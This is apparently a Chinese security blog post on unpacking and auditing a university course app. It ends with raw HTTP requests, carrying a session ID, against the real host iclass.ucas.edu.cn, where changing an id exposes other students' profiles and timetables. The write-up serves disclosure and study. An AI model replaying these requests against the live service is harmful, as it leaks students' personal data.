APP逆向初探

对某课用APP进行一个简单逆向分析

目标:轻新课堂学生端APP v5.53

用到的工具:jadx-gui-1.5.3、dex2jar、MUMU模拟器、BalckDex、frida、tabby、np管理器、ApkCheckPack、BurpSuite、Charles

初步分析与脱壳

AndroidManifest.xml文件分析

一些重要权限的错误申请和使用:

  • READ_CONTACTS / ACCESS_FINE_LOCATION / RECORD_AUDIO / CAMERA:这些权限能直接读取隐私数据(联系人、位置信息、麦克风/摄像头)。仅在真正需要时动态申请,不应在 manifest 中全局声明并在安装时请求。
  • QUERY_ALL_PACKAGES:赋予 App 查询设备上所有包的能力,隐私风险极高。除非确有必要(非常少见),应删除。
  • REQUEST_INSTALL_PACKAGES / MOUNT_UNMOUNT_FILESYSTEMS:允许安装/卸载或操作文件系统,极易被滥用用于侧载恶意 apk 或修改文件系统。
  • WRITE/READ_EXTERNAL_STORAGE + requestLegacyExternalStorage=true:扩大对外部存储的访问范围,增加数据泄露风险。若目标 API 支持应迁移到 scoped storage 并删除 legacy 标记。

壳识别

下载好apk后直接用jadx-gui打开,发现主要的包被打包过,说明进行过加固,结合下面的com/tencent/StubShell/TxAppEntry,大概率就是腾讯的加固。资源文件目录下的class1.dexclass2.dex应该就是被加固后的包。

查壳,一般so文件都是放在 assets 或者 lib目录下。assets目录下存在assets/libshellx-super.2019.solib目录下存在lib/armeabi/libshella-4.1.0.28.soassets/libshellx-super.2019.so等等一大堆

查壳工具下载,这里扫出来了一大堆也符合在刚刚lib目录下的大量so文件,

1
.\ApkCheckPack_windows_amd64.exe -f "C:\xxx\xxx\Desktop\home\com.jiaoshi.school.apk" -hardcode true

com.wrapper.proxyapplication.Util下发现了:

1
2
3
4
5
6
7
8
static {
getCPUABI();
if (CPUABI == "x86") {
libname = "libshellx-super.2019.so";
} else {
libname = "shell-super.2019";
}
}

以及assets目录下存在0OO00l111l1lo0oooOO0ooOo.dat,这两个文件是特征文件名。个人判断为腾讯御安全加固。这里这么多so文件可能是用来混淆视听的,不过没什么用。为了进一步验证加固方式,在模拟器中安装了这个apk,通过np管理器识别,同样为腾讯御安全加固。

脱壳

那么就基本确定了加固方案,下面开始脱壳,这里对逆向不是很熟悉,选择优先采用成熟的工具进行脱壳,不对so文件进行分析。安装完这个应用之后,无论如何都无法运行,初步分析是模拟器不支持这个软件采用的架构,其lib目录下只有arm的两种方案,而根据上面的CPUABI == "x86"的情况,这里漏掉了x86_64,导致无法运行。

采用的模拟器其实是支持armabi-v7a的,运行不了就很奇怪。

image-20251026150253495

脱壳工具BlackDex,BlackDex 通过截获ART/DEX在内存中被打开/注册时返回的cookie(native handle)来定位并读取内存中的 DEX 数据块,即用 DexFile 的 cookie把内存中的dex拉出来。

运行blackDex后,选中APK的包即可脱壳,脱壳后的dex文件放在download目录下。这里发现只有32位的工具才能识别到这个软件的包,而64位识别不到。先尝试脱壳,这里脱壳失败了,脱出来的dex文件很小,转译成jar包后内容也不对。

想用fridaIDA去调试也不行,因为软件没法在模拟器里运行,装一个支持32位的arm架构的模拟器可能可以,但有点麻烦。这里找到了一个在线脱壳的网站,然后脱壳成功了,脱壳完成后,生成了两个dex文件,分别为class.dexclass2.dex,使用dex2jar工具将其转译为jar包,在通过jadx-gui工具打开。

image-20251025214519782

虽然对一些类名和变量名做了混淆,但是问题不大,正常的代码逻辑是可以看到的,服务端为Java语言编写,

风险分析

tabby自动化代码审计

安装好tabby后,配置好jar包路径,直接扫描classed2.jar这个包即可

1
2
./run.sh build
./run.sh load ./output/dev

这里查询了目前支持的各种漏洞类型(包括SQLi、EXEC、SSRF等等),均没有结果,说明代码安全性不错,不过安卓类似前端代码,直接扫描包估计不太好出洞,后续可以手动测试功能点的权限校验等等逻辑层面的漏洞。

1
2
3
match (source:Method {IS_ENDPOINT:true}) match (sink:Method {IS_SINK:true,VUL:"SQLI"}) 
call tabby.algo.findPath(source, ">", sink, 5, false) yield path
return path limit 10

逻辑漏洞挖掘

这里闹了个乌龙,安装的不是最新版,所以运行不了,下载了个最新版,是360的加固,360的加固是明显的使用了jiagu.lib,同样在网站上脱壳,代码和之前安装的版本大差不差,增加的内容不多。后续的测试通过抓包进行,Charles代理模拟器,Burp代理Charles。

水平越权读取他人信息

安全性非常差,没有对参数做加密甚至没有编码,没有加密也不用去看代码解密了。这里修改id即可越权,数据包如下:

1
2
3
4
5
GET /app/user/get_myself_user_info.action?id=252632 HTTP/1.1
sessionId: F98B6001A6D6E5E34CAFED602C55DFBD
User-Agent: student_5.0.1.2_android_12_20__110000
Host: iclass.ucas.edu.cn:8181
Connection: keep-alive

水平越权读取他人课表

安全性非常差,没有对参数做加密甚至没有编码,修改id即可越权,数据包如下:

1
2
3
4
5
6
7
8
9
POST /app/choosecourse/get_myall_course.action HTTP/1.1
sessionId: F98B6001A6D6E5E34CAFED602C55DFBD
User-Agent: student_5.0.1.2_android_12_20__110000
Content-Length: 40
Content-Type: application/x-www-form-urlencoded
Host: iclass.ucas.edu.cn:8181
Connection: keep-alive

id=252687&user_type=1&xq_code=2025202601

附录:

frida安装过程

frida安装:官方文档

主机安装tools

1
2
3
4
5
6
conda create -n frida_env python=3.11 -y
conda activate frida_env
pip install frida-dexdump
pip install frida-tools
frida-ps -h
frida-dexdump -FU

模拟器安装并启动server

1
2
3
4
5
6
adb -s emulator-5556 shell getprop ro.product.cpu.abi
adb -s emulator-5556 shell getprop ro.product.cpu.abilist
adb -s emulator-5556 push .\frida-server-17.4.0-android-arm64 /data/local/tmp
adb -s emulator-5556 shell "chmod 755 /data/local/tmp/frida-server-17.4.0-android-arm64"
adb -s emulator-5556 shell "/data/local/tmp/frida-server-17.4.0-android-arm64 &"
adb -s emulator-5556 shell "pkill -f frida-server || true"

使用frida-dexdump报错:

1
Failed to spawn: need Gadget to attach on jailed Android;its default location is: C:\Users\xxx\AppData\Local\Microsoft\Windows\INetCache\frida\gadget-android-arm64.so

C:\Users\xxx\AppData\Local\Microsoft\Windows\INetCache\下创建frida目录,并将官网上的gadget下载到这个位置即可。